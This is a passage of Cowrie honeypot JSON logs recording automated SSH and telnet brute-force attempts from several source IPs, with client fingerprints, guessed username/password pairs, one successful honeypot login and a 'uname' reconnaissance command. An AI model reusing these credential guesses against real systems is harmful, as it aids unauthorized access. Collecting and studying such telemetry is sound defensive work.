2","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:14.179176Z","src_ip":"83.168.110.85","session":"e0631b9b3198","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"123456","message":"login attempt [vbox/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:14.732647Z","src_ip":"83.168.110.85","session":"e0631b9b3198","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:15.922925Z","src_ip":"83.168.110.85","session":"e0631b9b3198","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":88.45424318313599,"message":"Connection lost after 88 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:16.747674Z","src_ip":"152.42.224.71","session":"7291f4bbf3f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":34454,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ae82896c588","protocol":"ssh","message":"New connection: 103.77.175.15:34454 (10.17.0.5:22) [session: 7ae82896c588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:19.374722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:19.379141Z","src_ip":"103.77.175.15","session":"7ae82896c588","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:19.635992Z","src_ip":"103.77.175.15","session":"7ae82896c588","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvb12345","message":"login attempt [root/zxcvb12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:20.407820Z","src_ip":"103.77.175.15","session":"7ae82896c588","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":46268,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f9e2e8514a5","protocol":"ssh","message":"New connection: 83.168.110.85:46268 (10.17.0.5:22) [session: 0f9e2e8514a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:21.201293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:21.209086Z","src_ip":"83.168.110.85","session":"0f9e2e8514a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:21.329238Z","src_ip":"83.168.110.85","session":"0f9e2e8514a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:21.666827Z","src_ip":"103.77.175.15","session":"7ae82896c588","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@123","message":"login attempt [admin/Admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:21.694508Z","src_ip":"83.168.110.85","session":"0f9e2e8514a5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:21.983426Z","src_ip":"83.168.110.85","session":"0f9e2e8514a5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:21.987065Z","src_ip":"83.168.110.85","session":"0f9e2e8514a5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:22.111983Z","src_ip":"83.168.110.85","session":"0f9e2e8514a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:22.117924Z","src_ip":"83.168.110.85","session":"0f9e2e8514a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.08301281929016,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:27.268839Z","src_ip":"152.42.224.71","session":"973e17590e05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":56048,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6dbb4aa4185","protocol":"ssh","message":"New connection: 83.168.110.85:56048 (10.17.0.5:22) [session: a6dbb4aa4185]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:28.181933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:28.186378Z","src_ip":"83.168.110.85","session":"a6dbb4aa4185","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:28.307012Z","src_ip":"83.168.110.85","session":"a6dbb4aa4185","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1","message":"login attempt [deploy/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:28.669420Z","src_ip":"83.168.110.85","session":"a6dbb4aa4185","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:29.871438Z","src_ip":"83.168.110.85","session":"a6dbb4aa4185","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":32904,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b05985f13d7","protocol":"ssh","message":"New connection: 83.168.110.85:32904 (10.17.0.5:22) [session: 3b05985f13d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:35.243565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:35.249439Z","src_ip":"83.168.110.85","session":"3b05985f13d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:35.371212Z","src_ip":"83.168.110.85","session":"3b05985f13d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"null","message":"login attempt [root/null] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:35.740021Z","src_ip":"83.168.110.85","session":"3b05985f13d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.201.9.152","src_port":42928,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad798abfe72d","protocol":"ssh","message":"New connection: 128.201.9.152:42928 (10.17.0.5:22) [session: ad798abfe72d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:35.823532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:35.828455Z","src_ip":"128.201.9.152","session":"ad798abfe72d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:35.953511Z","src_ip":"128.201.9.152","session":"ad798abfe72d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"motdepasse","message":"login attempt [root/motdepasse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:36.484561Z","src_ip":"128.201.9.152","session":"ad798abfe72d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:36.865864Z","src_ip":"83.168.110.85","session":"3b05985f13d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:37.612550Z","src_ip":"128.201.9.152","session":"ad798abfe72d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":32912,"dst_ip":"10.17.0.5","dst_port":22,"session":"88d821ada926","protocol":"ssh","message":"New connection: 83.168.110.85:32912 (10.17.0.5:22) [session: 88d821ada926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:42.211236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:42.215744Z","src_ip":"83.168.110.85","session":"88d821ada926","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:42.337309Z","src_ip":"83.168.110.85","session":"88d821ada926","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123","message":"login attempt [root/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:42.847885Z","src_ip":"83.168.110.85","session":"88d821ada926","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:43.973520Z","src_ip":"83.168.110.85","session":"88d821ada926","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":53846,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1293b6cd1fd","protocol":"ssh","message":"New connection: 83.168.110.85:53846 (10.17.0.5:22) [session: b1293b6cd1fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:49.237946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:49.242136Z","src_ip":"83.168.110.85","session":"b1293b6cd1fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:49.363028Z","src_ip":"83.168.110.85","session":"b1293b6cd1fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trinity","password":"trinity","message":"login attempt [trinity/trinity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:49.727076Z","src_ip":"83.168.110.85","session":"b1293b6cd1fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:50.999532Z","src_ip":"83.168.110.85","session":"b1293b6cd1fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":52110,"dst_ip":"10.17.0.5","dst_port":22,"session":"aed8fd0b748a","protocol":"ssh","message":"New connection: 83.168.110.85:52110 (10.17.0.5:22) [session: aed8fd0b748a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:56.160723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:56.165879Z","src_ip":"83.168.110.85","session":"aed8fd0b748a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@opens